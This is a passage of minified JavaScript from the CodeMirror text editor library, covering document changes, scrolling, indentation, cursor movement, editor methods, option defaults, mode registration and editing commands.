go=[];d8(gt,function(gx,gw){if(!gw&&di(go,gx.history)==-1){dF(gx.history,gs);go.push(gx.history)}ef(gx,gs,null,ea(gx,gs))})}}function fo(gj,gl){if(gl==0){return}gj.first+=gl;gj.sel=new f4(bT(gj.sel.ranges,function(gm){return new dZ(W(gm.anchor.line+gl,gm.anchor.ch),W(gm.head.line+gl,gm.head.ch))}),gj.sel.primIndex);if(gj.cm){ah(gj.cm,gj.first,gj.first-gl,gl);for(var gk=gj.cm.display,gi=gk.viewFrom;gi<gk.viewTo;gi++){R(gj.cm,gi,"gutter")}}}function ef(gm,gn,gl,gj){if(gm.cm&&!gm.cm.curOp){return c3(gm.cm,ef)(gm,gn,gl,gj)}if(gn.to.line<gm.first){fo(gm,gn.text.length-1-(gn.to.line-gn.from.line));return}if(gn.from.line>gm.lastLine()){return}if(gn.from.line<gm.first){var gi=gn.text.length-1-(gm.first-gn.from.line);fo(gm,gi);gn={from:W(gm.first,0),to:W(gn.to.line+gi,gn.to.ch),text:[fH(gn.text)],origin:gn.origin}}var gk=gm.lastLine();if(gn.to.line>gk){gn={from:gn.from,to:W(gk,fg(gm,gk).text.length),text:[gn.text[0]],origin:gn.origin}}gn.removed=f5(gm,gn.from,gn.to);if(!gl){gl=fl(gm,gn)}if(gm.cm){aJ(gm.cm,gn,gj)}else{fz(gm,gn,gj)}eq(gm,gl,Z)}function aJ(gt,gp,gn){var gs=gt.doc,go=gt.display,gq=gp.from,gr=gp.to;var gi=false,gm=gq.line;if(!gt.options.lineWrapping){gm=bO(y(fg(gs,gq.line)));gs.iter(gm,gr.line+1,function(gv){if(gv==go.maxLine){gi=true;return true}})}if(gs.sel.contains(gp.from,gp.to)>-1){V(gt)}fz(gs,gp,gn,bf(gt));if(!gt.options.lineWrapping){gs.iter(gm,gq.line+gp.text.length,function(gw){var gv=eo(gw);if(gv>go.maxLineLength){go.maxLine=gw;go.maxLineLength=gv;go.maxLineChanged=true;gi=false}});if(gi){gt.curOp.updateMaxLine=true}}gs.frontier=Math.min(gs.frontier,gq.line);eg(gt,400);var gu=gp.text.length-(gr.line-gq.line)-1;if(gp.full){ah(gt)}else{if(gq.line==gr.line&&gp.text.length==1&&!dT(gt.doc,gp)){R(gt,gq.line,"text")}else{ah(gt,gq.line,gr.line+1,gu)}}var gk=fj(gt,"changes"),gl=fj(gt,"change");if(gl||gk){var gj={from:gq,to:gr,text:gp.text,removed:gp.removed,origin:gp.origin};if(gl){ae(gt,"change",gt,gj)}if(gk){(gt.curOp.changeObjs||(gt.curOp.changeObjs=[])).push(gj)}}gt.display.selForContextMenu=null}function a2(gl,gk,gn,gm,gi){if(!gm){gm=gn}if(cg(gm,gn)<0){var gj=gm;gm=gn;gn=gj}if(typeof gk=="string"){gk=a1(gk)}bh(gl,{from:gn,to:gm,text:gk,origin:gi})}function d7(gj,gm){if(aR(gj,"scrollCursorIntoView")){return}var gn=gj.display,gk=gn.sizer.getBoundingClientRect(),gi=null;if(gm.top+gk.top<0){gi=true}else{if(gm.bottom+gk.top>(window.innerHeight||document.documentElement.clientHeight)){gi=false}}if(gi!=null&&!fv){var gl=f3("div","\u200b",null,"position: absolute; top: "+(gm.top-gn.viewOffset-e9(gj.display))+"px; height: "+(gm.bottom-gm.top+cU(gj)+gn.barHeight)+"px; left: "+gm.left+"px; width: 2px;");gj.display.lineSpace.appendChild(gl);gl.scrollIntoView(gi);gj.display.lineSpace.removeChild(gl)}}function D(gs,gq,gm,gl){if(gl==null){gl=0}for(var gn=0;gn<5;gn++){var go=false,gr=dV(gs,gq);var gi=!gm||gm==gq?gr:dV(gs,gm);var gk=G(gs,Math.min(gr.left,gi.left),Math.min(gr.top,gi.top)-gl,Math.max(gr.left,gi.left),Math.max(gr.bottom,gi.bottom)+gl);var gp=gs.doc.scrollTop,gj=gs.doc.scrollLeft;if(gk.scrollTop!=null){N(gs,gk.scrollTop);if(Math.abs(gs.doc.scrollTop-gp)>1){go=true}}if(gk.scrollLeft!=null){bF(gs,gk.scrollLeft);if(Math.abs(gs.doc.scrollLeft-gj)>1){go=true}}if(!go){break}}return gr}function E(gi,gk,gm,gj,gl){var gn=G(gi,gk,gm,gj,gl);if(gn.scrollTop!=null){N(gi,gn.scrollTop)}if(gn.scrollLeft!=null){bF(gi,gn.scrollLeft)}}function G(gu,gl,gt,gj,gs){var gq=gu.display,go=aY(gu.display);if(gt<0){gt=0}var gm=gu.curOp&&gu.curOp.scrollTop!=null?gu.curOp.scrollTop:gq.scroller.scrollTop;var gw=cW(gu),gy={};if(gs-gt>gw){gs=gt+gw}var gk=gu.doc.height+bJ(gq);var gi=gt<go,gp=gs>gk-go;if(gt<gm){gy.scrollTop=gi?0:gt}else{if(gs>gm+gw){var gr=Math.min(gt,(gp?gk:gs)-gw);if(gr!=gm){gy.scrollTop=gr}}}var gx=gu.curOp&&gu.curOp.scrollLeft!=null?gu.curOp.scrollLeft:gq.scroller.scrollLeft;var gv=dm(gu)-(gu.options.fixedGutter?gq.gutters.offsetWidth:0);var gn=gj-gl>gv;if(gn){gj=gl+gv}if(gl<10){gy.scrollLeft=0}else{if(gl<gx){gy.scrollLeft=Math.max(0,gl-(gn?0:10))}else{if(gj>gv+gx-3){gy.scrollLeft=gj+(gn?0:10)-gv}}}return gy}function cM(gi,gk,gj){if(gk!=null||gj!=null){fD(gi)}if(gk!=null){gi.curOp.scrollLeft=(gi.curOp.scrollLeft==null?gi.doc.scrollLeft:gi.curOp.scrollLeft)+gk}if(gj!=null){gi.curOp.scrollTop=(gi.curOp.scrollTop==null?gi.doc.scrollTop:gi.curOp.scrollTop)+gj}}function fG(gi){fD(gi);var gj=gi.getCursor(),gl=gj,gk=gj;if(!gi.options.lineWrapping){gl=gj.ch?W(gj.line,gj.ch-1):gj;gk=W(gj.line,gj.ch+1)}gi.curOp.scrollToPos={from:gl,to:gk,margin:gi.options.cursorScrollMargin,isCursor:true}}function fD(gi){var gk=gi.curOp.scrollToPos;if(gk){gi.curOp.scrollToPos=null;var gm=dI(gi,gk.from),gl=dI(gi,gk.to);var gj=G(gi,Math.min(gm.left,gl.left),Math.min(gm.top,gl.top)-gk.margin,Math.max(gm.right,gl.right),Math.max(gm.bottom,gl.bottom)+gk.margin);gi.scrollTo(gj.scrollLeft,gj.scrollTop)}}function ad(gv,gl,gu,gk){var gt=gv.doc,gj;if(gu==null){gu="add"}if(gu=="smart"){if(!gt.mode.indent){gu="prev"}else{gj=dD(gv,gl)}}var gp=gv.options.tabSize;var gw=fg(gt,gl),go=bU(gw.text,null,gp);if(gw.stateAfter){gw.stateAfter=null}var gi=gw.text.match(/^\s*/)[0],gr;if(!gk&&!/\S/.test(gw.text)){gr=0;gu="not"}else{if(gu=="smart"){gr=gt.mode.indent(gj,gw.text.slice(gi.length),gw.text);if(gr==cb||gr>150){if(!gk){return}gu="prev"}}}if(gu=="prev"){if(gl>gt.first){gr=bU(fg(gt,gl-1).text,null,gp)}else{gr=0}}else{if(gu=="add"){gr=go+gv.options.indentUnit}else{if(gu=="subtract"){gr=go-gv.options.indentUnit}else{if(typeof gu=="number"){gr=go+gu}}}}gr=Math.max(0,gr);var gs="",gq=0;if(gv.options.indentWithTabs){for(var gm=Math.floor(gr/gp);gm;--gm){gq+=gp;gs+="\t"}}if(gq<gr){gs+=cq(gr-gq)}if(gs!=gi){a2(gt,gs,W(gl,0),W(gl,gi.length),"+input");gw.stateAfter=null;return true}else{for(var gm=0;gm<gt.sel.ranges.length;gm++){var gn=gt.sel.ranges[gm];if(gn.head.line==gl&&gn.head.ch<gi.length){var gq=W(gl,gi.length);e(gt,gm,new dZ(gq,gq));break}}}}function eA(gl,gk,gi,gn){var gm=gk,gj=gk;if(typeof gk=="number"){gj=fg(gl,c6(gl,gk))}else{gm=bO(gk)}if(gm==null){return null}if(gn(gj,gm)&&gl.cm){R(gl.cm,gm,gi)}return gj}function eY(gi,go){var gj=gi.doc.sel.ranges,gm=[];for(var gl=0;gl<gj.length;gl++){var gk=go(gj[gl]);while(gm.length&&cg(gk.from,fH(gm).to)<=0){var gn=gm.pop();if(cg(gn.from,gk.from)<0){gk.from=gn.from;break}}gm.push(gk)}cN(gi,function(){for(var gp=gm.length-1;gp>=0;gp--){a2(gi.doc,"",gm[gp].from,gm[gp].to,"+delete")}fG(gi)})}function bx(gA,gm,gu,gt,go){var gr=gm.line,gs=gm.ch,gz=gu;var gj=fg(gA,gr);var gx=true;function gy(){var gB=gr+gu;if(gB<gA.first||gB>=gA.first+gA.size){return(gx=false)}gr=gB;return gj=fg(gA,gB)}function gw(gC){var gB=(go?u:ai)(gj,gs,gu,true);if(gB==null){if(!gC&&gy()){if(go){gs=(gu<0?cT:cF)(gj)}else{gs=gu<0?gj.text.length:0}}else{return(gx=false)}}else{gs=gB}return true}if(gt=="char"){gw()}else{if(gt=="column"){gw(true)}else{if(gt=="word"||gt=="group"){var gv=null,gp=gt=="group";var gi=gA.cm&&gA.cm.getHelper(gm,"wordChars");for(var gn=true;;gn=false){if(gu<0&&!gw(!gn)){break}var gk=gj.text.charAt(gs)||"\n";var gl=cB(gk,gi)?"w":gp&&gk=="\n"?"n":!gp||/\s/.test(gk)?null:"p";if(gp&&!gn&&!gl){gl="s"}if(gv&&gv!=gl){if(gu<0){gu=1;gw()}break}if(gl){gv=gl}if(gu>0&&!gw(!gn)){break}}}}}var gq=bW(gA,W(gr,gs),gz,true);if(!gx){gq.hitSide=true}return gq}function br(gq,gl,gi,gp){var go=gq.doc,gn=gl.left,gm;if(gp=="page"){var gk=Math.min(gq.display.wrapper.clientHeight,window.innerHeight||document.documentElement.clientHeight);gm=gl.top+gi*(gk-(gi<0?1.5:0.5)*aY(gq.display))}else{if(gp=="line"){gm=gi>0?gl.bottom+3:gl.top-3}}for(;;){var gj=fP(gq,gn,gm);if(!gj.outside){break}if(gi<0?gm<=0:gm>=go.height){gj.hitSide=true;break}gm+=gi*5}return gj}H.prototype={constructor:H,focus:function(){window.focus();this.display.input.focus()},setOption:function(gk,gl){var gj=this.options,gi=gj[gk];if(gj[gk]==gl&&gk!="mode"){return}gj[gk]=gl;if(bg.hasOwnProperty(gk)){c3(this,bg[gk])(this,gl,gi)}},getOption:function(gi){return this.options[gi]},getDoc:function(){return this.doc},addKeyMap:function(gj,gi){this.state.keyMaps[gi?"push":"unshift"](fY(gj))},removeKeyMap:function(gj){var gk=this.state.keyMaps;for(var gi=0;gi<gk.length;++gi){if(gk[gi]==gj||gk[gi].name==gj){gk.splice(gi,1);return true}}},addOverlay:c9(function(gi,gj){var gk=gi.token?gi:H.getMode(this.options,gi);if(gk.startState){throw new Error("Overlays may not be stateful.")}this.state.overlays.push({mode:gk,modeSpec:gi,opaque:gj&&gj.opaque});this.state.modeGen++;ah(this)}),removeOverlay:c9(function(gi){var gk=this.state.overlays;for(var gj=0;gj<gk.length;++gj){var gl=gk[gj].modeSpec;if(gl==gi||typeof gi=="string"&&gl.name==gi){gk.splice(gj,1);this.state.modeGen++;ah(this);return}}}),indentLine:c9(function(gk,gi,gj){if(typeof gi!="string"&&typeof gi!="number"){if(gi==null){gi=this.options.smartIndent?"smart":"prev"}else{gi=gi?"add":"subtract"}}if(ca(this.doc,gk)){ad(this,gk,gi,gj)}}),indentSelection:c9(function(gr){var gi=this.doc.sel.ranges,gl=-1;for(var gn=0;gn<gi.length;gn++){var go=gi[gn];if(!go.empty()){var gp=go.from(),gq=go.to();var gj=Math.max(gl,gp.line);gl=Math.min(this.lastLine(),gq.line-(gq.ch?0:1))+1;for(var gm=gj;gm<gl;++gm){ad(this,gm,gr)}var gk=this.doc.sel.ranges;if(gp.ch==0&&gi.length==gk.length&&gk[gn].from().ch>0){e(this.doc,gn,new dZ(gp,gk[gn].to()),Z)}}else{if(go.head.line>gl){ad(this,go.head.line,gr,true);gl=go.head.line;if(gn==this.doc.sel.primIndex){fG(this)}}}}}),getTokenAt:function(gj,gi){return cr(this,gj,gi)},getLineTokens:function(gj,gi){return cr(this,W(gj),gi,true)},getTokenTypeAt:function(gp){gp=fK(this.doc,gp);var gl=c7(this,fg(this.doc,gp.line));var gn=0,go=(gl.length-1)/2,gk=gp.ch;var gj;if(gk==0){gj=gl[2]}else{for(;;){var gi=(gn+go)>>1;if((gi?gl[gi*2-1]:0)>=gk){go=gi}else{if(gl[gi*2+1]<gk){gn=gi+1}else{gj=gl[gi*2+2];break}}}}var gm=gj?gj.indexOf("cm-overlay "):-1;return gm<0?gj:gm==0?null:gj.slice(0,gm-1)},getModeAt:function(gj){var gi=this.doc.mode;if(!gi.innerMode){return gi}return H.innerMode(gi,this.getTokenAt(gj).state).mode},getHelper:function(gj,gi){return this.getHelpers(gj,gi)[0]},getHelpers:function(gp,gk){var gl=[];if(!fp.hasOwnProperty(gk)){return gl}var gi=fp[gk],go=this.getModeAt(gp);if(typeof go[gk]=="string"){if(gi[go[gk]]){gl.push(gi[go[gk]])}}else{if(go[gk]){for(var gj=0;gj<go[gk].length;gj++){var gn=gi[go[gk][gj]];if(gn){gl.push(gn)}}}else{if(go.helperType&&gi[go.helperType]){gl.push(gi[go.helperType])}else{if(gi[go.name]){gl.push(gi[go.name])}}}}for(var gj=0;gj<gi._global.length;gj++){var gm=gi._global[gj];if(gm.pred(go,this)&&di(gl,gm.val)==-1){gl.push(gm.val)}}return gl},getStateAfter:function(gj,gi){var gk=this.doc;gj=c6(gk,gj==null?gk.first+gk.size-1:gj);return dD(this,gj+1,gi)},cursorCoords:function(gl,gj){var gk,gi=this.doc.sel.primary();if(gl==null){gk=gi.head}else{if(typeof gl=="object"){gk=fK(this.doc,gl)}else{gk=gl?gi.from():gi.to()}}return dV(this,gk,gj||"page")},charCoords:function(gj,gi){return cK(this,fK(this.doc,gj),gi||"page")},coordsChar:function(gi,gj){gi=gf(this,gi,gj||"page");return fP(this,gi.left,gi.top)},lineAtHeight:function(gi,gj){gi=gf(this,{top:gi,left:0},gj||"page").top;return bH(this.doc,gi+this.display.viewOffset)},heightAtLine:function(gj,gm){var gi=false,gk;if(typeof gj=="number"){var gl=this.doc.first+this.doc.size-1;if(gj<this.doc.first){gj=this.doc.first}else{if(gj>gl){gj=gl;gi=true}}gk=fg(this.doc,gj)}else{gk=gj}return eR(this,gk,{top:0,left:0},gm||"page").top+(gi?this.doc.height-bN(gk):0)},defaultTextHeight:function(){return aY(this.display)},defaultCharWidth:function(){return dE(this.display)},setGutterMarker:c9(function(gi,gj,gk){return eA(this.doc,gi,"gutter",function(gl){var gm=gl.gutterMarkers||(gl.gutterMarkers={});gm[gj]=gk;if(!gk&&eV(gm)){gl.gutterMarkers=null}return true})}),clearGutter:c9(function(gk){var gi=this,gl=gi.doc,gj=gl.first;gl.iter(function(gm){if(gm.gutterMarkers&&gm.gutterMarkers[gk]){gm.gutterMarkers[gk]=null;R(gi,gj,"gutter");if(eV(gm.gutterMarkers)){gm.gutterMarkers=null}}++gj})}),lineInfo:function(gi){if(typeof gi=="number"){if(!ca(this.doc,gi)){return null}var gj=gi;gi=fg(this.doc,gi);if(!gi){return null}}else{var gj=bO(gi);if(gj==null){return null}}return{line:gj,handle:gi,text:gi.text,gutterMarkers:gi.gutterMarkers,textClass:gi.textClass,bgClass:gi.bgClass,wrapClass:gi.wrapClass,widgets:gi.widgets}},getViewport:function(){return{from:this.display.viewFrom,to:this.display.viewTo}},addWidget:function(gn,gk,gp,gl,gr){var gm=this.display;gn=dV(this,fK(this.doc,gn));var go=gn.bottom,gj=gn.left;gk.style.position="absolute";gk.setAttribute("cm-ignore-events","true");this.display.input.setUneditable(gk);gm.sizer.appendChild(gk);if(gl=="over"){go=gn.top}else{if(gl=="above"||gl=="near"){var gi=Math.max(gm.wrapper.clientHeight,this.doc.height),gq=Math.max(gm.sizer.clientWidth,gm.lineSpace.clientWidth);if((gl=="above"||gn.bottom+gk.offsetHeight>gi)&&gn.top>gk.offsetHeight){go=gn.top-gk.offsetHeight}else{if(gn.bottom+gk.offsetHeight<=gi){go=gn.bottom}}if(gj+gk.offsetWidth>gq){gj=gq-gk.offsetWidth}}}gk.style.top=go+"px";gk.style.left=gk.style.right="";if(gr=="right"){gj=gm.sizer.clientWidth-gk.offsetWidth;gk.style.right="0px"}else{if(gr=="left"){gj=0}else{if(gr=="middle"){gj=(gm.sizer.clientWidth-gk.offsetWidth)/2}}gk.style.left=gj+"px"}if(gp){E(this,gj,go,gj+gk.offsetWidth,go+gk.offsetHeight)}},triggerOnKeyDown:c9(p),triggerOnKeyPress:c9(cy),triggerOnKeyUp:bj,execCommand:function(gi){if(eE.hasOwnProperty(gi)){return eE[gi](this)}},triggerElectric:c9(function(gi){fW(this,gi)}),findPosH:function(go,gl,gm,gj){var gi=1;if(gl<0){gi=-1;gl=-gl}for(var gk=0,gn=fK(this.doc,go);gk<gl;++gk){gn=bx(this.doc,gn,gi,gm,gj);if(gn.hitSide){break}}return gn},moveH:c9(function(gj,gk){var gi=this;gi.extendSelectionsBy(function(gl){if(gi.display.shift||gi.doc.extend||gl.empty()){return bx(gi.doc,gl.head,gj,gk,gi.options.rtlMoveVisually)}else{return gj<0?gl.from():gl.to()}},cX)}),deleteH:c9(function(gi,gj){var gk=this.doc.sel,gl=this.doc;if(gk.somethingSelected()){gl.replaceSelection("",null,"+delete")}else{eY(this,function(gn){var gm=bx(gl,gn.head,gi,gj,false);return gi<0?{from:gm,to:gn.head}:{from:gn.head,to:gm}})}}),findPosV:function(gn,gk,go,gq){var gi=1,gm=gq;if(gk<0){gi=-1;gk=-gk}for(var gj=0,gp=fK(this.doc,gn);gj<gk;++gj){var gl=dV(this,gp,"div");if(gm==null){gm=gl.left}else{gl.left=gm}gp=br(this,gl,gi,go);if(gp.hitSide){break}}return gp},moveV:c9(function(gj,gl){var gi=this,gn=this.doc,gm=[];var go=!gi.display.shift&&!gn.extend&&gn.sel.somethingSelected();gn.extendSelectionsBy(function(gp){if(go){return gj<0?gp.from():gp.to()}var gr=dV(gi,gp.head,"div");if(gp.goalColumn!=null){gr.left=gp.goalColumn}gm.push(gr.left);var gq=br(gi,gr,gj,gl);if(gl=="page"&&gp==gn.sel.primary()){cM(gi,null,cK(gi,gq,"div").top-gr.top)}return gq},cX);if(gm.length){for(var gk=0;gk<gn.sel.ranges.length;gk++){gn.sel.ranges[gk].goalColumn=gm[gk]}}}),findWordAt:function(gp){var gn=this.doc,gl=fg(gn,gp.line).text;var go=gp.ch,gk=gp.ch;if(gl){var gm=this.getHelper(gp,"wordChars");if((gp.xRel<0||gk==gl.length)&&go){--go}else{++gk}var gj=gl.charAt(go);var gi=cB(gj,gm)?function(gq){return cB(gq,gm)}:/\s/.test(gj)?function(gq){return/\s/.test(gq)}:function(gq){return !/\s/.test(gq)&&!cB(gq)};while(go>0&&gi(gl.charAt(go-1))){--go}while(gk<gl.length&&gi(gl.charAt(gk))){++gk}}return new dZ(W(gp.line,go),W(gp.line,gk))},toggleOverwrite:function(gi){if(gi!=null&&gi==this.state.overwrite){return}if(this.state.overwrite=!this.state.overwrite){fB(this.display.cursorDiv,"CodeMirror-overwrite")}else{f(this.display.cursorDiv,"CodeMirror-overwrite")}aE(this,"overwriteToggle",this,this.state.overwrite)},hasFocus:function(){return this.display.input.getField()==dP()},scrollTo:c9(function(gi,gj){if(gi!=null||gj!=null){fD(this)}if(gi!=null){this.curOp.scrollLeft=gi}if(gj!=null){this.curOp.scrollTop=gj}}),getScrollInfo:function(){var gi=this.display.scroller;return{left:gi.scrollLeft,top:gi.scrollTop,height:gi.scrollHeight-cU(this)-this.display.barHeight,width:gi.scrollWidth-cU(this)-this.display.barWidth,clientHeight:cW(this),clientWidth:dm(this)}},scrollIntoView:c9(function(gj,gk){if(gj==null){gj={from:this.doc.sel.primary().head,to:null};if(gk==null){gk=this.options.cursorScrollMargin}}else{if(typeof gj=="number"){gj={from:W(gj,0),to:null}}else{if(gj.from==null){gj={from:gj,to:null}}}}if(!gj.to){gj.to=gj.from}gj.margin=gk||0;if(gj.from.line!=null){fD(this);this.curOp.scrollToPos=gj}else{var gi=G(this,Math.min(gj.from.left,gj.to.left),Math.min(gj.from.top,gj.to.top)-gj.margin,Math.max(gj.from.right,gj.to.right),Math.max(gj.from.bottom,gj.to.bottom)+gj.margin);this.scrollTo(gi.scrollLeft,gi.scrollTop)}}),setSize:c9(function(gl,gj){var gi=this;function gk(gn){return typeof gn=="number"||/^\d+$/.test(String(gn))?gn+"px":gn}if(gl!=null){gi.display.wrapper.style.width=gk(gl)}if(gj!=null){gi.display.wrapper.style.height=gk(gj)}if(gi.options.lineWrapping){aO(this)}var gm=gi.display.viewFrom;gi.doc.iter(gm,gi.display.viewTo,function(gn){if(gn.widgets){for(var go=0;go<gn.widgets.length;go++){if(gn.widgets[go].noHScroll){R(gi,gm,"widget");break}}}++gm});gi.curOp.forceUpdate=true;aE(gi,"refresh",this)}),operation:function(gi){return cN(this,gi)},refresh:c9(function(){var gi=this.display.cachedTextHeight;ah(this);this.curOp.forceUpdate=true;ak(this);this.scrollTo(this.doc.scrollLeft,this.doc.scrollTop);c5(this);if(gi==null||Math.abs(gi-aY(this.display))>0.5){X(this)}aE(this,"refresh",this)}),swapDoc:c9(function(gj){var gi=this.doc;gi.cm=null;ec(this,gj);ak(this);this.display.input.reset();this.scrollTo(gj.scrollLeft,gj.scrollTop);this.curOp.forceScroll=true;ae(this,"swapDoc",this,gi);return gi}),getInputField:function(){return this.display.input.getField()},getWrapperElement:function(){return this.display.wrapper},getScrollerElement:function(){return this.display.scroller},getGutterElement:function(){return this.display.gutters}};bz(H);var e4=H.defaults={};var bg=H.optionHandlers={};function s(gi,gl,gk,gj){H.defaults[gi]=gl;if(gk){bg[gi]=gj?function(gm,go,gn){if(gn!=cd){gk(gm,go,gn)}}:gk}}var cd=H.Init={toString:function(){return"CodeMirror.Init"}};s("value","",function(gi,gj){gi.setValue(gj)},true);s("mode",null,function(gi,gj){gi.doc.modeOption=gj;bs(gi)},true);s("indentUnit",2,bs,true);s("indentWithTabs",false);s("smartIndent",true);s("tabSize",4,function(gi){em(gi);ak(gi);ah(gi)},true);s("specialChars",/[\t\u0000-\u0019\u00ad\u200b-\u200f\u2028\u2029\ufeff]/g,function(gi,gk,gj){gi.state.specialChars=new RegExp(gk.source+(gk.test("\t")?"":"|\t"),"g");if(gj!=H.Init){gi.refresh()}});s("specialCharPlaceholder",fd,function(gi){gi.refresh()},true);s("electricChars",true);s("inputStyle",eh?"contenteditable":"textarea",function(){throw new Error("inputStyle can not (yet) be changed in a running editor")},true);s("rtlMoveVisually",!aP);s("wholeLineUpdateBefore",true);s("theme","default",function(gi){cP(gi);dx(gi)},true);s("keyMap","default",function(gi,gm,gj){var gk=fY(gm);var gl=gj!=H.Init&&fY(gj);if(gl&&gl.detach){gl.detach(gi,gk)}if(gk.attach){gk.attach(gi,gl||null)}});s("extraKeys",null);s("lineWrapping",false,eH,true);s("gutters",[],function(gi){cf(gi.options);dx(gi)},true);s("fixedGutter",true,function(gi,gj){gi.display.gutters.style.left=gj?dY(gi.display)+"px":"0";gi.refresh()},true);s("coverGutterNextToScrollbar",false,function(gi){eZ(gi)},true);s("scrollbarStyle","native",function(gi){aD(gi);eZ(gi);gi.display.scrollbars.setScrollTop(gi.doc.scrollTop);gi.display.scrollbars.setScrollLeft(gi.doc.scrollLeft)},true);s("lineNumbers",false,function(gi){cf(gi.options);dx(gi)},true);s("firstLineNumber",1,dx,true);s("lineNumberFormatter",function(gi){return gi},dx,true);s("showCursorWhenSelecting",false,bD,true);s("resetSelectionOnContextMenu",true);s("lineWiseCopyCut",true);s("readOnly",false,function(gi,gj){if(gj=="nocursor"){aV(gi);gi.display.input.blur();gi.display.disabled=true}else{gi.display.disabled=false;if(!gj){gi.display.input.reset()}}});s("disableInput",false,function(gi,gj){if(!gj){gi.display.input.reset()}},true);s("dragDrop",true,f1);s("cursorBlinkRate",530);s("cursorScrollMargin",0);s("cursorHeight",1,bD,true);s("singleCursorHeightPerLine",true,bD,true);s("workTime",100);s("workDelay",100);s("flattenSpans",true,em,true);s("addModeClass",false,em,true);s("pollInterval",100);s("undoDepth",200,function(gi,gj){gi.doc.history.undoDepth=gj});s("historyEventDelay",1250);s("viewportMargin",10,function(gi){gi.refresh()},true);s("maxHighlightLength",10000,em,true);s("moveInputWithCursor",true,function(gi,gj){if(!gj){gi.display.input.resetPosition()}});s("tabindex",null,function(gi,gj){gi.display.input.getField().tabIndex=gj||""});s("autofocus",null);var dt=H.modes={},aS=H.mimeModes={};H.defineMode=function(gi,gj){if(!H.defaults.mode&&gi!="null"){H.defaults.mode=gi}if(arguments.length>2){gj.dependencies=Array.prototype.slice.call(arguments,2)}dt[gi]=gj};H.defineMIME=function(gj,gi){aS[gj]=gi};H.resolveMode=function(gi){if(typeof gi=="string"&&aS.hasOwnProperty(gi)){gi=aS[gi]}else{if(gi&&typeof gi.name=="string"&&aS.hasOwnProperty(gi.name)){var gj=aS[gi.name];if(typeof gj=="string"){gj={name:gj}}gi=cl(gj,gi);gi.name=gj.name}else{if(typeof gi=="string"&&/^[\w\-]+\/[\w\-]+\+xml$/.test(gi)){return H.resolveMode("application/xml")}}}if(typeof gi=="string"){return{name:gi}}else{return gi||{name:"null"}}};H.getMode=function(gj,gi){var gi=H.resolveMode(gi);var gl=dt[gi.name];if(!gl){return H.getMode(gj,"text/plain")}var gm=gl(gj,gi);if(dq.hasOwnProperty(gi.name)){var gk=dq[gi.name];for(var gn in gk){if(!gk.hasOwnProperty(gn)){continue}if(gm.hasOwnProperty(gn)){gm["_"+gn]=gm[gn]}gm[gn]=gk[gn]}}gm.name=gi.name;if(gi.helperType){gm.helperType=gi.helperType}if(gi.modeProps){for(var gn in gi.modeProps){gm[gn]=gi.modeProps[gn]}}return gm};H.defineMode("null",function(){return{token:function(gi){gi.skipToEnd()}}});H.defineMIME("text/plain","null");var dq=H.modeExtensions={};H.extendMode=function(gk,gj){var gi=dq.hasOwnProperty(gk)?dq[gk]:(dq[gk]={});aN(gj,gi)};H.defineExtension=function(gi,gj){H.prototype[gi]=gj};H.defineDocExtension=function(gi,gj){at.prototype[gi]=gj};H.defineOption=s;var a9=[];H.defineInitHook=function(gi){a9.push(gi)};var fp=H.helpers={};H.registerHelper=function(gj,gi,gk){if(!fp.hasOwnProperty(gj)){fp[gj]=H[gj]={_global:[]}}fp[gj][gi]=gk};H.registerGlobalHelper=function(gk,gj,gi,gl){H.registerHelper(gk,gj,gl);fp[gk]._global.push({pred:gi,val:gl})};var b4=H.copyState=function(gl,gi){if(gi===true){return gi}if(gl.copyState){return gl.copyState(gi)}var gk={};for(var gm in gi){var gj=gi[gm];if(gj instanceof Array){gj=gj.concat([])}gk[gm]=gj}return gk};var b1=H.startState=function(gk,gj,gi){return gk.startState?gk.startState(gj,gi):true};H.innerMode=function(gk,gi){while(gk.innerMode){var gj=gk.innerMode(gi);if(!gj||gj.mode==gk){break}gi=gj.state;gk=gj.mode}return gj||{mode:gk,state:gi}};var eE=H.commands={selectAll:function(gi){gi.setSelection(W(gi.firstLine(),0),W(gi.lastLine()),Z)},singleSelection:function(gi){gi.setSelection(gi.getCursor("anchor"),gi.getCursor("head"),Z)},killLine:function(gi){eY(gi,function(gk){if(gk.empty()){var gj=fg(gi.doc,gk.head.line).text.length;if(gk.head.ch==gj&&gk.head.line<gi.lastLine()){return{from:gk.head,to:W(gk.head.line+1,0)}}else{return{from:gk.head,to:W(gk.head.line,gj)}}}else{return{from:gk.from(),to:gk.to()}}})},deleteLine:function(gi){eY(gi,function(gj){return{from:W(gj.from().line,0),to:fK(gi.doc,W(gj.to().line+1,0))}})},delLineLeft:function(gi){eY(gi,function(gj){return{from:W(gj.from().line,0),to:gj.from()}})},delWrappedLineLeft:function(gi){eY(gi,function(gj){var gl=gi.charCoords(gj.head,"div").top+5;var gk=gi.coordsChar({left:0,top:gl},"div");return{from:gk,to:gj.from()}})},delWrappedLineRight:function(gi){eY(gi,function(gj){var gl=gi.charCoords(gj.head,"div").top+5;var gk=gi.coordsChar({left:gi.display.lineDiv.offsetWidth+100,top:gl},"div");return{from:gj.from(),to:gk}})},undo:function(gi){gi.undo()},redo:function(gi){gi.redo()},undoSelection:function(gi){gi.undoSelection()},redoSelection:function(gi){gi.redoSelection()},goDocStart:function(gi){gi.extendSelection(W(gi.firstLine(),0))},goDocEnd:function(gi){gi.extendSelection(W(gi.lastLine()))},goLineStart:function(gi){gi.extendSelectionsBy(function(gj){return bu(gi,gj.head.line)},{origin:"+move",bias:1})},goLineStartSmart:function(gi){gi.extendSelectionsBy(function(gj){return dJ(gi,gj.head)},{origin:"+move",bias:1})},goLineEnd:function(gi){gi.extendSelectionsBy(function(gj){return dQ(gi,gj.head.line)},{origin:"+move",bias:-1})},goLineRight:function(gi){gi.extendSelectionsBy(function(gj){var gk=gi.charCoords(gj.head,"div").top+5;return gi.coordsChar({left:gi.display.lineDiv.offsetWidth+100,top:gk},"div")},cX)},goLineLeft:function(gi){gi.extendSelectionsBy(function(gj){var gk=gi.charCoords(gj.head,"div").top+5;return gi.coordsChar({left:0,top:gk},"div")},cX)},goLineLeftSmart:function(gi){gi.extendSelectionsBy(function(gj){var gk=gi.charCoords(gj.head,"div").top+5;var gl=gi.coordsChar({left:0,top:gk},"div");if(gl.ch<gi.getLine(gl.line).search(/\S/)){return dJ(gi,gj.head)}return 